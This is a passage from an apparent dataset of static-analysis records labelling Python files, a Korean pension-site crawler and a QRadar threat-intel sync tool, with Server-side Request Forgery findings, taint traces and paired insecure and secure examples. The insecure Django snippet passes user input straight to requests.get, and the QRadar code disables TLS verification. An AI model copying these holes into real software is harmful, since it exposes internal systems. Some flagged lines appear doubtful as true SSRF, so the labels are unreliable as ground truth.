precautions = value # precautions\n\n # print(\"@@@@PensionObject 속성들\")\n # print(name)\n # print(address)\n # print(check_in)\n # print(check_out)\n # print(room_num)\n # print(info)\n # print(theme)\n #\n # print(check_in_out_detail)\n # print(pickup_detail)\n # print(gretting)\n # print(precautions)\n\n pension,pension_created_bool = Pension.objects.get_or_create(\n # location_total_crawler안에서 pension_detail_crawler사용시 전달받아야되는 인자들.-->location_crawler() 로 얻어짐.\n pension_image_thumbnail=pension_image_thumbnail,\n lowest_price=lowest_price,\n ypidx=ypidx,\n sub_location=sub_location,\n discount_rate=discount_rate,\n\n #pension_detail_crawler 안에서 크롤링한 속성들.\n name=name,\n address=address,\n check_in=check_in,\n check_out=check_out,\n pickup=pickup,\n room_num=room_num,\n info=info,\n theme=theme,\n lat=lat,\n lng=lng,\n check_in_out_detail=check_in_out_detail,\n pickup_detail=pickup_detail,\n gretting=gretting,\n precautions=precautions,\n )\n\n\n ##############PensionImage 에 넣을 Pension 사진들 3장뽑겠슴.\n pensionImagesLists = soup.find(id=\"pensionMainImageSlider\")\n image_tags = pensionImagesLists.select(\" > div img\")\n\n for index, image_tag in enumerate(image_tags):\n # html보면 2개씩 같은 이미지라서 홀수번째 만 받기로함.\n if index % 2 == 0:\n image_src = image_tag.get(\"src\") # image_src---------------->PensionImage객체만들때써라\n # print('@@@@팬션 이미지')\n # print(image_src)\n PensionImage.objects.get_or_create(\n pension=pension,\n pension_image=image_src,\n )\n if index == (pension_picture_url_num-1)*2: # pension_picture_url_num 장 뽑는 시점에서 break\n break\n\n # 각 팬션에 속한 room정보 크롤링하며 Room객체 생성하는 크롤러\n room_crawler(soup=soup,\n room_num=room_num,\n url=url,\n pension=pension,\n count_sec_after_click=count_sec_after_click,\n count_sec_after_popup=count_sec_after_popup,\n room_picture_url_num=room_picture_url_num)\n\n\n\n\n\n\n# 세부지역 페이지에서 각 팬션에 대한 기본정보 5개만 여러개 팬션에게서 가져왔던것.\ndef sub_location_crawler(location_no, sub_location_no):\n params = {\n 'location': location_no,\n 'subLocation': sub_location_no,\n }\n\n url = \"http://www.yapen.co.kr/region?\" + parse.urlencode(params)\n\n request = requests.get(url)\n response = request.text\n soup = BeautifulSoup(response, 'lxml')\n\n title_list = list()\n img_file_list = list()\n price_list = list()\n ypidx_list = list()\n discount_rate_list = list()\n\n title_uls = soup.select('ul.dest-place-opt-fea')\n for ul in title_uls:\n li = ul.select('li')\n title_list.append(li[1].get_text())\n\n price_uls = soup.select('ul.dest-place-opt-cast')\n for ul in price_uls:\n li = ul.select('li')\n price_list.append(get_int_only(li[1].get_text())) # '370,000원~' 에서 숫자만 남기는 함수 호출함.\n\n img_file_divs = soup.select('div.imgBox')\n for div in img_file_divs:\n img_file_list.append(div.select('img')[0]['src'])\n\n list1 = re.split('/', div.select('img')[0]['src'])\n ypidx_list.append(int(list1[5]))\n\n dest_place_pics = soup.select('div.dest-place-pic')\n for dest_place_pic in dest_place_pics:\n # dest_place_pic에는 dic가 2개 or 1게 있는데 discount_rate가 있는 경우는 div가 2개이며\n # 길이가 5여서 이것으로 discount_rate있고 없고 를 비교한다.\n if (len(dest_place_pic) == 5):\n discount_rate_string = dest_place_pic.select('div')[0].get_text(strip=True)\n # %문자 정규표현식으로 빼줌.\n discount_rate_int = int(re.search('(\\d*)', discount_rate_string).group())\n discount_rate_list.append(discount_rate_int)\n else:\n discount_rate_list.append(0)\n\n sub_locations_info_list = [title_list, price_list, img_file_list, ypidx_list, discount_rate_list]\n\n return sub_locations_info_list\n\n\n\n# location_name_list 뽑는 과정\ndef location_crawler():\n request = requests.get(\"http://www.yapen.co.kr\")\n response = request.text\n soup = BeautifulSoup(response, 'lxml')\n\n left_menu = soup.select('div.locLayer')\n # 풀빌라, MD추천 제외 14지역중 7지역 만남김.\n selected_left_menu = left_menu[2:4]\n\n for selected_location in selected_left_menu:\n # 지역 이름 먼저 뽑음\n location_name = selected_location.select('div.titleStyle')[0].get_text(strip=True)\n\n # Location 객체 생성\n location,__=Location.objects.get_or_create(name=location_name) # Location(지역)객체 생성\n\n li = selected_location.select('li')\n for location_detail in li:\n onclick_value = location_detail['onclick'] # regionMove('1.003021','금산/논산');\n split_right = onclick_value.split(',')[0]\n split_left = onclick_value.split(',')[1]\n sub_location_no = re.findall(\"'(.+)'\", split_right)[0]\n sub_location_name = re.findall(\"'(.+)'\", split_left)[0]\n if len(re.findall('.*(전체).*', sub_location_name))==1: # sub_location_name 에 전체가 들어있으면 for문 이하 건너뜀\n continue\n\n # SubLocation 객체 생성\n sub_location,__= SubLocation.objects.get_or_create(location=location, # SubLocation(세부지역) 객체 생성\n name=sub_location_name,\n sub_location_no=sub_location_no)\n\n # 지역 고유번호부터 정규표현식으로 뽑아내서 담음.(세부지역 고유번호의 소숫점 뒤 3자리) # '1.003021'\n location_no = re.findall(\".(\\d\\d\\d)\", sub_location_no)[0] # 지역번호\n\n # sub_location(세부지역) 페이지로부터 기본정보 5개 크롤링먼저 해옴.(팬션 디테일 페이지 접속위한 ypidx얻기위해 필요한 과정)\n sub_locations_info_list = sub_location_crawler(location_no, sub_location_no)\n for i in range(len(sub_locations_info_list[0])):\n\n # 각각의 팬션을 크롤링 하며 Pension객체 생성, 방들 크롤링한후 Room 객체 생성하는 크롤러 호출\n pension_detail_crawler(\n sub_location=sub_location,\n lowest_price=sub_locations_info_list[1][i], # lowest_price,\n pension_image_thumbnail=sub_locations_info_list[2][i], # pension_image_thumbnail\n ypidx=sub_locations_info_list[3][i], # ypidx,\n discount_rate=sub_locations_info_list[4][i] # discount_rate,\n )\n\n for location in Location.objects.all():\n sub_location = SubLocation.objects.filter(location=location)\n location.pensions_length = len(Pension.objects.filter(sub_location__in=sub_location))\n location.save()\n\n for sublocation in SubLocation.objects.all():\n sublocation.pensions_length = len(Pension.objects.filter(sub_location=sublocation))\n sublocation.save()\n", "dangerousExampleEn": "1. from django.shortcuts import render\n2. import requests\n3. \n4. def call_third_party_api(request):\n5. \taddr = request.POST.get('address', '')\n6. \n7. \t...\n8. \n9. \tresult = requests.get(addr).text\n10. \treturn render(request, '/result.html', {'result':result})\nLine 9: This is insecure because the value taken from the user in Line 5 is returned without whitelist validation.", "safeExampleEn": "1. from django.shortcuts import render\n2. import requests\n3. \n4. \n5. ...\n6. \n7. ALLOW_SERVER_LIST = [\n8. \t'https://127.0.0.1/latest/',\n9. \t'https://192.168.0.1/user_data',\n10. \t'https://192.168.0.100/v1/public'\n11. ]\n12. \n13. def call_third_party_api(request):\n14. \taddr = request.POST.get('address', '')\n15. \n16. ...\n17. \n18. \tif addr not in ALLOW_SERVER_LIST:\n19. \t\treturn render(request, '/error.html', {error = 'This server is not allowed.'})\n20. \n21. result = requests.get(addr).text\n22. \treturn render(request, '/result.html', {'result':result})\nLine 18: This is secure because the value taken from the user in Line 14 undergoes a whitelist validation process created in Line 7.", "contexts": [{"lineNo": 176, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 176, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestpension_detail_crawler.request.text"}}, {"lineNo": 177, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "BeautifulSoup"}}, {"lineNo": 185, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "select"}}, {"lineNo": 186, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "tablepension_detail_crawler.table[0]"}}, {"lineNo": 186, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "select"}}, {"lineNo": 187, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "trspension_detail_crawler.trs[0]"}}, {"lineNo": 187, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "select"}}, {"lineNo": 188, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "tdspension_detail_crawler.tds[0]"}}, {"lineNo": 188, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "get_text"}}, {"lineNo": 189, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "re.findall"}}, {"lineNo": 194, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "format"}}, {"lineNo": 194, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 197, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "requests.get"}}]}} {"id": "26301bd5bed127a303e113469968129f6917d0ca590ed0f05d6d4453f406a755", "license": {"spdx": ["MIT"], "repo": "intel471/titan_qradar_sync", "path": "qradar_utilities.py", "repo_head_hexsha": "43d2d2bfcd18c3383e8f4f0377788a0d2f3844a7", "stack_hexsha": "0b1891b092271e40a79284fe9042e306de9c61a6", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Server-side Request Forgery", "issueDescriptionEn": "If unverified external inputs are used in requests submitted between servers, a security vulnerability could allow malicious actions to occur.\nIf a web server has a vulnerable application, an attacker can trick the application into performing abnormal behaviors or obtaining data from the trusted network by forging a URL or a request statement to bypass access control.\nUse a whitelist to filter user input values when the input value used to call another system's service is within an identifiable range. Create a blacklist that filters a list of internal URLs when it is required to receive a random URL that is specified by the user. In addition, ensure to check authentication or authorization on requests sent over the internal network.", "issueLineNumber": 45, "entireCode": "#!/usr/bin/env python3.8\n\n\nimport time\nfrom typing import List, Dict\nimport json\nimport requests\nfrom requests.exceptions import HTTPError\nfrom urllib3.exceptions import InsecureRequestWarning\nfrom json_utilities import json_get\nfrom titan_qradar_sync_config import TitanQRadarSyncConfig\n\n\nclass QRadarUtilities:\n def __init__(self, config: TitanQRadarSyncConfig):\n self.config = config\n requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)\n\n def first_not_none_or_default(self, object_list: List, default):\n result = default\n\n try:\n for item in object_list:\n if item:\n result = item\n break\n\n except Exception as e:\n result = default\n\n return result\n\n def get_qradar_details(self) -> Dict:\n qradar_details: Dict = None\n\n try:\n self.config.logger.info(\"Attempting to get QRadar details.\")\n request: str = self.config.qradar_base_url + \"system/about\"\n self.config.logger.info(\"Sending request: %s\", request)\n\n headers = {}\n if self.config.qradar_user_agent:\n headers = {\"User-Agent\": self.config.qradar_user_agent}\n\n response = requests.get(request, headers=headers, auth=(self.config.qradar_username, self.config.qradar_password), verify=False)\n if response.status_code == 200:\n qradar_details = response.json()\n else:\n self.config.logger.info(\"Unable to obtain QRadar details.\")\n\n except HTTPError as http_err:\n qradar_details = None\n self.config.logger.error(\"Unable to get QRadar details: %s\", {http_err})\n\n except Exception as e:\n qradar_details = None\n self.config.logger.error(\"Unable to get QRadar details: %s\", {e})\n\n return qradar_details\n\n def create_reference_set(self, set_name: str, element_type: str):\n success: bool = True\n\n try:\n params: Dict = {\n \"name\": set_name,\n \"element_type\": element_type,\n \"time_to_live\": self.config.qradar_reference_set_time_to_live,\n \"timeout_type\": self.config.qradar_reference_set_timeout_type\n }\n\n self.config.logger.info(\"Attempting to create \" + set_name + \" reference set.\")\n request: str = self.config.qradar_base_url + \"reference_data/sets\"\n self.config.logger.info(\"Sending request: %s\", request)\n\n headers = {}\n if self.config.qradar_user_agent:\n headers = {\"User-Agent\": self.config.qradar_user_agent}\n\n response = requests.post(request, headers=headers, auth=(self.config.qradar_username, self.config.qradar_password), verify=False, data=params)\n if response.status_code == 201:\n self.config.logger.info(\"Successfully created \" + set_name + \" reference set.\")\n else:\n self.config.logger.info(response.content)\n success = False\n self.config.logger.info(\"Unable to create \" + set_name + \" reference set.\")\n\n except Exception as e:\n success = False\n self.config.logger.error(\"Unable to create \" + set_name + \" reference set: %s\", {e})\n\n return success\n\n def create_reference_table(self, table_name: str):\n success: bool = True\n\n try:\n key_name_types = (\n \"[{\\\"element_type\\\": \\\"ALNIC\\\", \" +\n \"\\\"key_name\\\": \\\"Malware Family\\\"}, \" +\n \"{\\\"element_type\\\": \\\"ALNIC\\\", \" +\n \"\\\"key_name\\\": \\\"Malware Family Titan URL\\\"}, \" +\n \"{\\\"element_type\\\": \\\"ALNIC\\\", \" +\n \"\\\"key_name\\\": \\\"Type\\\"}, \" +\n \"{\\\"element_type\\\": \\\"ALNIC\\\", \" +\n \"\\\"key_name\\\": \\\"Indicator\\\"}, \" +\n \"{\\\"element_type\\\": \\\"ALNIC\\\", \" +\n \"\\\"key_name\\\": \\\"Indicator Titan URL\\\"}, \" +\n \"{\\\"element_type\\\": \\\"ALNIC\\\", \" +\n \"\\\"key_name\\\": \\\"Confidence Level\\\"}, \" +\n \"{\\\"element_type\\\": \\\"ALNIC\\\", \" +\n \"\\\"key_name\\\": \\\"Context\\\"}, \" +\n \"{\\\"element_type\\\": \\\"ALNIC\\\", \" +\n \"\\\"key_name\\\": \\\"GIRs\\\"}, \" +\n \"{\\\"element_type\\\": \\\"ALNIC\\\", \" +\n \"\\\"key_name\\\": \\\"Mitre Tactics\\\"}, \" +\n \"{\\\"element_type\\\": \\\"DATE\\\", \" +\n \"\\\"key_name\\\": \\\"Activity First\\\"}, \" +\n \"{\\\"element_type\\\": \\\"DATE\\\", \" +\n \"\\\"key_name\\\": \\\"Activity Last\\\"}, \" +\n \"{\\\"element_type\\\": \\\"DATE\\\", \" +\n \"\\\"key_name\\\": \\\"Expires\\\"}]\"\n )\n\n params: Dict = {\n \"name\": table_name,\n \"outer_key_label\": \"UID\",\n \"key_name_types\": key_name_types,\n \"element_type\": \"ALNIC\",\n \"time_to_live\": self.config.qradar_reference_table_time_to_live,\n \"timeout_type\": self.config.qradar_reference_table_timeout_type\n }\n\n self.config.logger.info(\"Attempting to create \" + table_name + \" reference table.\")\n request: str = self.config.qradar_base_url + \"reference_data/tables\"\n self.config.logger.info(\"Sending request: %s\", request)\n\n headers = {}\n if self.config.qradar_user_agent:\n headers = {\"User-Agent\": self.config.qradar_user_agent}\n\n response = requests.post(request, headers=headers, auth=(self.config.qradar_username, self.config.qradar_password), verify=False, data=params)\n if response.status_code == 201:\n self.config.logger.info(\"Successfully created \" + table_name + \" reference table.\")\n else:\n self.config.logger.info(response.content)\n success = False\n self.config.logger.info(\"Unable to create \" + table_name + \" reference table.\")\n\n except Exception as e:\n success = False\n self.config.logger.error(\"Unable to create \" + table_name + \" reference table: %s\", {e})\n\n return success\n\n def check_create_reference_set(self, set_name: str, element_type: str) -> bool:\n success: bool = True\n\n try:\n self.config.logger.info(\"Checking \" + set_name + \" reference set.\")\n request: str = self.config.qradar_base_url + \"reference_data/sets/\" + set_name\n self.config.logger.info(\"Sending request: %s\", request)\n\n headers = {}\n if self.config.qradar_user_agent:\n headers = {\"User-Agent\": self.config.qradar_user_agent}\n\n response = requests.get(request, headers=headers, auth=(self.config.qradar_username, self.config.qradar_password), verify=False)\n if response.status_code == 200:\n self.config.logger.info(set_name + \" reference set detected.\")\n else:\n self.config.logger.info(set_name + \" reference set not detected.\")\n success = self.create_reference_set(set_name, element_type)\n\n except Exception as e:\n success = False\n self.config.logger.error(\"Unable to check/create reference set: %s\", {e})\n\n return success\n\n def check_create_reference_table(self, table_name: str) -> bool:\n success: bool = True\n\n try:\n self.config.logger.info(\"Checking \" + table_name + \" reference table.\")\n request: str = self.config.qradar_base_url + \"reference_data/tables/\" + table_name\n self.config.logger.info(\"Sending request: %s\", request)\n\n headers = {}\n if self.config.qradar_user_agent:\n headers = {\"User-Agent\": self.config.qradar_user_agent}\n\n response = requests.get(request, headers= headers, auth=(self.config.qradar_username, self.config.qradar_password), verify=False)\n if response.status_code == 200:\n self.config.logger.info(table_name + \" reference table detected.\")\n else:\n self.config.logger.info(table_name + \" reference table not detected.\")\n success = self.create_reference_table(table_name)\n\n except Exception as e:\n success = False\n self.config.logger.error(\"Unable to check/create reference table: %s\", {e})\n\n return success\n\n def check_create_reference_data_structures(self) -> bool:\n success: bool = True\n\n try:\n # Reference sets.\n if self.config.qradar_populate_malware_indicators_sets:\n self.check_create_reference_set(self.config.qradar_malware_indicators_set_ip_medium_confidence, \"IP\")\n self.check_create_reference_set(self.config.qradar_malware_indicators_set_ip_high_confidence, \"IP\")\n self.check_create_reference_set(self.config.qradar_malware_indicators_set_hash_medium_confidence, \"ALNIC\")\n self.check_create_reference_set(self.config.qradar_malware_indicators_set_hash_high_confidence, \"ALNIC\")\n self.check_create_reference_set(self.config.qradar_malware_indicators_set_url_medium_confidence, \"ALNIC\")\n self.check_create_reference_set(self.config.qradar_malware_indicators_set_url_high_confidence, \"ALNIC\")\n\n # Reference tables.\n if self.config.qradar_populate_malware_indicators_tables:\n self.check_create_reference_table(self.config.qradar_malware_indicators_table)\n\n except Exception as e:\n success = False\n self.config.logger.error(\"Unable to check/create reference data structures: %s\", {e})\n\n return success\n\n def submit_indicator_batch_reference_set(self, indicator_batch_reference_set: List, set_name: str):\n success: bool = True\n\n try:\n if len(indicator_batch_reference_set) > 0:\n request: str = self.config.qradar_base_url + \"reference_data/sets/bulk_load/\" + set_name\n self.config.logger.info(\"Sending request: %s\", request)\n\n headers = {}\n if self.config.qradar_user_agent:\n headers = {\"User-Agent\": self.config.qradar_user_agent}\n\n response = requests.post(request, headers=headers, auth=(self.config.qradar_username, self.config.qradar_password), verify=False, data=json.dumps(indicator_batch_reference_set))\n if response.status_code == 200:\n self.config.logger.info(\"Successfully submitted reference set indicator batch.\")\n else:\n self.config.logger.info(response.content)\n success = False\n self.config.logger.info(\"Unable to submit reference set indicator batch.\")\n\n except Exception as e:\n success = False\n self.config.logger.error(\"Unable to submit reference set indicator batch: %s\", {e})\n\n return success\n\n def submit_indicator_batch_reference_table(self, indicator_batch_reference_table: Dict, table_name: str):\n success: bool = True\n\n try:\n request: str = self.config.qradar_base_url + \"reference_data/tables/bulk_load/\" + table_name\n self.config.logger.info(\"Sending request: %s\", request)\n\n headers = {}\n if self.config.qradar_user_agent:\n headers = {\"User-Agent\": self.config.qradar_user_agent}\n\n response = requests.post(request, headers=headers, auth=(self.config.qradar_username, self.config.qradar_password), verify=False, data=json.dumps(indicator_batch_reference_table))\n if response.status_code == 200:\n self.config.logger.info(\"Successfully submitted reference table indicator batch.\")\n else:\n self.config.logger.info(response.content)\n success = False\n self.config.logger.info(\"Unable to submit reference table indicator batch.\")\n\n except Exception as e:\n success = False\n self.config.logger.error(\"Unable to submit reference table indicator batch: %s\", {e})\n\n return success\n\n def create_indicator(self, indicator_context: str, indicator_type: str, indicator_girs: str, indicator_confidence_level: str, indicator_malware_family: str, indicator_malware_family_titan_url: str, indicator_expires: str, indicator_mitre_tactics: str, indicator_activity_first: str, indicator_activity_last: str, indicator_value: str, indicator_titan_url: str):\n indicator: Dict = {}\n\n try:\n indicator = {\n \"Context\": indicator_context,\n \"Type\": indicator_type,\n \"GIRs\": indicator_girs,\n \"Confidence Level\": indicator_confidence_level,\n \"Malware Family\": indicator_malware_family,\n \"Malware Family Titan URL\": indicator_malware_family_titan_url,\n \"Expires\": indicator_expires,\n \"Mitre Tactics\": indicator_mitre_tactics,\n \"Indicator\": indicator_value,\n \"Indicator Titan URL\": indicator_titan_url,\n \"First Activity\": indicator_activity_first,\n \"Last Activity\": indicator_activity_last\n }\n\n except Exception as e:\n indicator = {}\n self.config.logger.error(\"Unable to create indicator: %s\", {e})\n\n return indicator\n\n def process_indicators(self, indicators: List, reference_object_type: str) -> bool:\n success: bool = True\n\n try:\n current_time: int = int(round(time.time() * 1000))\n\n if reference_object_type == \"Reference Sets\":\n indicator_batch_ip_medium = []\n indicator_batch_ip_high = []\n indicator_batch_hash_medium = []\n indicator_batch_hash_high = []\n indicator_batch_url_medium = []\n indicator_batch_url_high = []\n\n for indicator in indicators:\n indicator_type: str = self.first_not_none_or_default(json_get(indicator, [\"data\", \"indicator_type\"]), \"\")\n indicator_confidence_level: str = self.first_not_none_or_default(json_get(indicator, [\"data\", \"confidence\"]), \"\")\n indicator_expiration: int = self.first_not_none_or_default(json_get(indicator, [\"data\", \"expiration\"]), 0)\n\n process_indicator: bool = True\n if self.config.qradar_ignore_expired_malware_indicators_sets:\n if indicator_expiration <= current_time:\n process_indicator = False\n\n if process_indicator:\n if indicator_type == \"ipv4\":\n indicator_value_ipv4 = self.first_not_none_or_default(json_get(indicator, [\"data\", \"indicator_data\", \"address\"]), \"\")\n if indicator_value_ipv4:\n if indicator_confidence_level == \"high\":\n indicator_batch_ip_high.append(indicator_value_ipv4) if indicator_value_ipv4 not in indicator_batch_ip_high else indicator_batch_ip_high\n else:\n indicator_batch_ip_medium.append(indicator_value_ipv4) if indicator_value_ipv4 not in indicator_batch_ip_medium else indicator_batch_ip_medium\n if indicator_type == \"url\":\n indicator_value_url = self.first_not_none_or_default(json_get(indicator, [\"data\", \"indicator_data\", \"url\"]), \"\")\n if indicator_value_url:\n if indicator_confidence_level == \"high\":\n indicator_batch_url_high.append(indicator_value_url) if indicator_value_url not in indicator_batch_url_high else indicator_batch_url_high\n else:\n indicator_batch_url_medium.append(indicator_value_url) if indicator_value_url not in indicator_batch_url_medium else indicator_batch_url_medium\n if indicator_type == \"file\":\n indicator_value_md5 = self.first_not_none_or_default(json_get(indicator, [\"data\", \"indicator_data\", \"file\", \"md5\"]), \"\")\n if indicator_value_md5:\n if indicator_confidence_level == \"high\":\n indicator_batch_hash_high.append(indicator_value_md5) if indicator_value_md5 not in indicator_batch_hash_high else indicator_batch_hash_high\n else:\n indicator_batch_hash_medium.append(indicator_value_md5) if indicator_value_md5 not in indicator_batch_hash_medium else indicator_batch_hash_medium\n indicator_value_sha1 = self.first_not_none_or_default(json_get(indicator, [\"data\", \"indicator_data\", \"file\", \"sha1\"]), \"\")\n if indicator_value_sha1:\n if indicator_confidence_level == \"high\":\n indicator_batch_hash_high.append(indicator_value_sha1) if indicator_value_sha1 not in indicator_batch_hash_high else indicator_batch_hash_high\n else:\n indicator_batch_hash_medium.append(indicator_value_sha1) if indicator_value_sha1 not in indicator_batch_hash_medium else indicator_batch_hash_medium\n indicator_value_sha256 = self.first_not_none_or_default(json_get(indicator, [\"data\", \"indicator_data\", \"file\", \"sha256\"]), \"\")\n if indicator_value_sha256:\n if indicator_confidence_level == \"high\":\n indicator_batch_hash_high.append(indicator_value_sha256) if indicator_value_sha256 not in indicator_batch_hash_high else indicator_batch_hash_high\n else:\n indicator_batch_hash_medium.append(indicator_value_sha256) if indicator_value_sha256 not in indicator_batch_hash_medium else indicator_batch_hash_medium\n\n if self.config.qradar_populate_malware_indicators_sets:\n self.submit_indicator_batch_reference_set(indicator_batch_ip_medium, self.config.qradar_malware_indicators_set_ip_medium_confidence)\n self.submit_indicator_batch_reference_set(indicator_batch_ip_high, self.config.qradar_malware_indicators_set_ip_high_confidence)\n self.submit_indicator_batch_reference_set(indicator_batch_hash_medium, self.config.qradar_malware_indicators_set_hash_medium_confidence)\n self.submit_indicator_batch_reference_set(indicator_batch_hash_high, self.config.qradar_malware_indicators_set_hash_high_confidence)\n self.submit_indicator_batch_reference_set(indicator_batch_url_medium, self.config.qradar_malware_indicators_set_url_medium_confidence)\n self.submit_indicator_batch_reference_set(indicator_batch_url_high, self.config.qradar_malware_indicators_set_url_high_confidence)\n\n if reference_object_type == \"Reference Tables\":\n indicator_batch = {}\n\n for indicator in indicators:\n indicator_uid_raw: str = self.first_not_none_or_default(json_get(indicator, [\"data\", \"uid\"]), \"\")\n indicator_context: str = self.first_not_none_or_default(json_get(indicator, [\"data\", \"context\", \"description\"]), \"\")\n indicator_type: str = self.first_not_none_or_default(json_get(indicator, [\"data\", \"indicator_type\"]), \"\")\n indicator_girs_list: str = self.first_not_none_or_default(json_get(indicator, [\"data\", \"intel_requirements\"]), [])\n indicator_girs = \"\"\n for gir in indicator_girs_list:\n gir_name = \"\"\n for gir_ref in self.config.girs:\n if gir_ref[1] == gir:\n gir_name = gir_ref[3]\n break\n\n if len(indicator_girs) > 0:\n indicator_girs += \",\"\n indicator_girs += \"'\" + gir + \" - \" + gir_name + \"'\"\n indicator_girs = \"[\" + indicator_girs + \"]\"\n indicator_confidence_level: str = self.first_not_none_or_default(json_get(indicator, [\"data\", \"confidence\"]), \"\")\n indicator_malware_family: str = self.first_not_none_or_default(json_get(indicator, [\"data\", \"threat\", \"data\", \"family\"]), \"\")\n indicator_malware_family_titan_url: str = self.config.titan_portal_base_url + \"malware/\" + self.first_not_none_or_default(json_get(indicator, [\"data\", \"threat\", \"data\", \"malware_family_profile_uid\"]), \"\")\n indicator_expires: str = self.first_not_none_or_default(json_get(indicator, [\"data\", \"expiration\"]), \"\")\n indicator_mitre_tactics: str = self.first_not_none_or_default(json_get(indicator, [\"data\", \"mitre_tactics\"]), \"\")\n indicator_activity_first: str = self.first_not_none_or_default(json_get(indicator, [\"activity\", \"first\"]), \"\")\n indicator_activity_last: str = self.first_not_none_or_default(json_get(indicator, [\"activity\", \"last\"]), \"\")\n indicator_expiration: int = self.first_not_none_or_default(json_get(indicator, [\"data\", \"expiration\"]), 0)\n\n process_indicator: bool = True\n if self.config.qradar_ignore_expired_malware_indicators_tables:\n if indicator_expiration <= current_time:\n process_indicator = False\n\n if process_indicator:\n indicator_value: str = \"\"\n if indicator_type == \"ipv4\":\n indicator_value = self.first_not_none_or_default(json_get(indicator, [\"data\", \"indicator_data\", \"address\"]), \"\")\n indicator_titan_url = self.config.titan_portal_base_url + \"malware/indicator/\" + self.first_not_none_or_default(json_get(indicator, [\"uid\"]), \"\")\n indicator_uid = \"ipv4-\" + indicator_uid_raw\n indicator_created = self.create_indicator(indicator_context, indicator_type, indicator_girs, indicator_confidence_level, indicator_malware_family, indicator_malware_family_titan_url, indicator_expires, indicator_mitre_tactics, indicator_activity_first, indicator_activity_last, indicator_value, indicator_titan_url)\n if indicator_created:\n indicator_batch[indicator_uid] = indicator_created\n if indicator_type == \"url\":\n indicator_value = self.first_not_none_or_default(json_get(indicator, [\"data\", \"indicator_data\", \"url\"]), \"\")\n indicator_titan_url = self.config.titan_portal_base_url + \"malware/indicator/\" + self.first_not_none_or_default(json_get(indicator, [\"uid\"]), \"\")\n indicator_uid = \"url-\" + indicator_uid_raw\n indicator_created = self.create_indicator(indicator_context, indicator_type, indicator_girs, indicator_confidence_level, indicator_malware_family, indicator_malware_family_titan_url, indicator_expires, indicator_mitre_tactics, indicator_activity_first, indicator_activity_last, indicator_value, indicator_titan_url)\n if indicator_created:\n indicator_batch[indicator_uid] = indicator_created\n if indicator_type == \"file\":\n indicator_value = self.first_not_none_or_default(json_get(indicator, [\"data\", \"indicator_data\", \"file\", \"md5\"]), \"\")\n indicator_titan_url = self.config.titan_portal_base_url + \"malware/indicator/\" + self.first_not_none_or_default(json_get(indicator, [\"uid\"]), \"\")\n indicator_uid = \"md5-\" + indicator_uid_raw\n indicator_created = self.create_indicator(indicator_context, indicator_type, indicator_girs, indicator_confidence_level, indicator_malware_family, indicator_malware_family_titan_url, indicator_expires, indicator_mitre_tactics, indicator_activity_first, indicator_activity_last, indicator_value, indicator_titan_url)\n if indicator_created:\n indicator_batch[indicator_uid] = indicator_created\n\n indicator_value = self.first_not_none_or_default(json_get(indicator, [\"data\", \"indicator_data\", \"file\", \"sha1\"]), \"\")\n indicator_titan_url = self.config.titan_portal_base_url + \"malware/indicator/\" + self.first_not_none_or_default(json_get(indicator, [\"uid\"]), \"\")\n indicator_uid = \"sha1-\" + indicator_uid_raw\n indicator_created = self.create_indicator(indicator_context, indicator_type, indicator_girs, indicator_confidence_level, indicator_malware_family, indicator_malware_family_titan_url, indicator_expires, indicator_mitre_tactics, indicator_activity_first, indicator_activity_last, indicator_value, indicator_titan_url)\n if indicator_created:\n indicator_batch[indicator_uid] = indicator_created\n\n indicator_value = self.first_not_none_or_default(json_get(indicator, [\"data\", \"indicator_data\", \"file\", \"sha256\"]), \"\")\n indicator_titan_url = self.config.titan_portal_base_url + \"malware/indicator/\" + self.first_not_none_or_default(json_get(indicator, [\"uid\"]), \"\")\n indicator_uid = \"sha256-\" + indicator_uid_raw\n indicator_created = self.create_indicator(indicator_context, indicator_type, indicator_girs, indicator_confidence_level, indicator_malware_family, indicator_malware_family_titan_url, indicator_expires, indicator_mitre_tactics, indicator_activity_first, indicator_activity_last, indicator_value, indicator_titan_url)\n if indicator_created:\n indicator_batch[indicator_uid] = indicator_created\n\n if self.config.qradar_populate_malware_indicators_tables:\n self.submit_indicator_batch_reference_table(indicator_batch, self.config.qradar_malware_indicators_table)\n\n except Exception as e:\n success = False\n self.config.logger.error(\"Unable to process indicators: %s\", {e})\n\n return success", "dangerousExampleEn": "1. from django.shortcuts import render\n2. import requests\n3. \n4. def call_third_party_api(request):\n5. \taddr = request.POST.get('address', '')\n6. \n7. \t...\n8. \n9. \tresult = requests.get(addr).text\n10. \treturn render(request, '/result.html', {'result':result})\nLine 9: This is insecure because the value taken from the user in Line 5 is returned without whitelist validation.", "safeExampleEn": "1. from django.shortcuts import render\n2. import requests\n3. \n4. \n5. ...\n6. \n7. ALLOW_SERVER_LIST = [\n8. \t'https://127.0.0.1/latest/',\n9. \t'https://192.168.0.1/user_data',\n10. \t'https://192.168.0.100/v1/public'\n11. ]\n12. \n13. def call_third_party_api(request):\n14. \taddr = request.POST.get('address', '')\n15. \n16. ...\n17. \n18. \tif addr not in ALLOW_SERVER_LIST:\n19. \t\treturn render(request, '/error.html', {error = 'This server is not allowed.'})\n20. \n21. result = requests.get(addr).text\n22. \treturn render(request, '/result.html', {'result':result})\nLine 18: This is secure because the value taken from the user in Line 14 undergoes a whitelist validation process created in Line 7.", "contexts": [{"lineNo": 38, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 45, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": 